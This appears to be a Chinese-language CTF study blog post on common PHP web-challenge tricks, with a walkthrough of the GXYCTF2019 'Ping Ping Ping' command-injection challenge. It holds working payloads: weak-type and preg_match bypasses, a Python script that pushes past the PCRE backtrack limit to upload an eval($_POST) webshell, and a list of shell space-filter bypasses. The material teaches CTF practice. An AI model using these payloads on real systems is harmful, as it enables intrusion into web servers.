0x00 CTF-PHP常見考點
1.php弱型別的比較
2.php斷言問題
3.php讀取檔案
4.preg_match繞過
5.sha1()函式與md5()
6.異或注入繞過
7.updatexml()函式考點
8.命令執行繞過:https://www.cnblogs.com/iloveacm/p/13687654.html
9.源檔案泄露
10.extract變數覆寫
11.strcmp漏洞
…
參考網上師傅的總結,感覺不錯值得學習:https://www.cnblogs.com/iloveacm/p/13256577.html
下面取幾個考點型別案例分析幫助理解,實際多在靶場修煉才更深刻,
0x01 案例1:弱型別繞過案例
php存在=,==,===三種比較符號
第一個=相當于直接賦值的道理
第二個= = 會直接將物件轉換為相同類在進行比較
第三個= = = 會判斷兩種型別物件是否相等,再作比較
<?php
var_dump("admin"==0); //true 0=0 為真
var_dump("1admin"==1); //true 1=1 為正
var_dump("admin1"==1); //false 0 不等于 1 回傳假
var_dump("admin1"===1); //型別不等 為假
var_dump("admin"===1); //型別不等 為假
var_dump("0e123456"=="0e4456789"); //true 所有0e默認類為取值0 0=0 為真
var_dump("0e123456"==="0e4456789"); //型別相等數值不等 為假
?>

一段簡短的代碼審計題目理解php弱型別
$num=$_GET['num'];
if(!is_numeric($num)) // is_numeric () 函式用于檢測變數是否為數字或數字字串,
{
echo $num;
if($num==1) //num=1xxx 即可構成 1=1 回傳為真取值flag
echo 'flag{**********}';
}
payload:num=1abc 構成比較為1=1 為真輸出flag
0x02 preg_match函式繞過
首先了解preg_match函式作用:用于執行一個正則運算式匹配,賽題中用來過濾函式
<?php
//模式分隔符后的"i"標記這是一個大小寫不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "查找到匹配的字串 php,";
} else {
echo "未發現匹配的字串 php,";
}
?>

常見preg_match的繞過的三種方式:
(1)陣列繞過,當傳遞引數為陣列,會回傳true
payload:傳參:?a=[]=flag.php
(2)最大PCRE(正則查找匹配次數)突破,中文的回溯次數在100萬次就會崩潰,構造exp突破次數即可回傳true
pauload:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False)
print(res.headers)
(3)".“換行符繞過,”."不會匹配換行符
payload:
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
//$json="\nflag"
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
//?a=flag%0a
參考了網上師傅總結,值得學習記錄一下
0x03 案例2:RCE繞過案例
學習地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping

題目頁面:

發現flag地址:

空格被過濾:

繞過rce執行空格:php-rce繞過參考:https://zhuanlan.zhihu.com/p/391439312

符號被過濾

嘗試繞過被過濾字串flag:

案例小結:題目難度偏小,$IFS$2繞過空格加上拼接flag字串,以;字符分割執行rce,獲取flag
空格繞過:
%09(url傳遞)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}
RCE命令執行繞過總結:https://zhuanlan.zhihu.com/p/391439312
交流學習:
博客:http://www.kxsy.work
CSND社區:告白熱
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/357019.html
標籤:其他
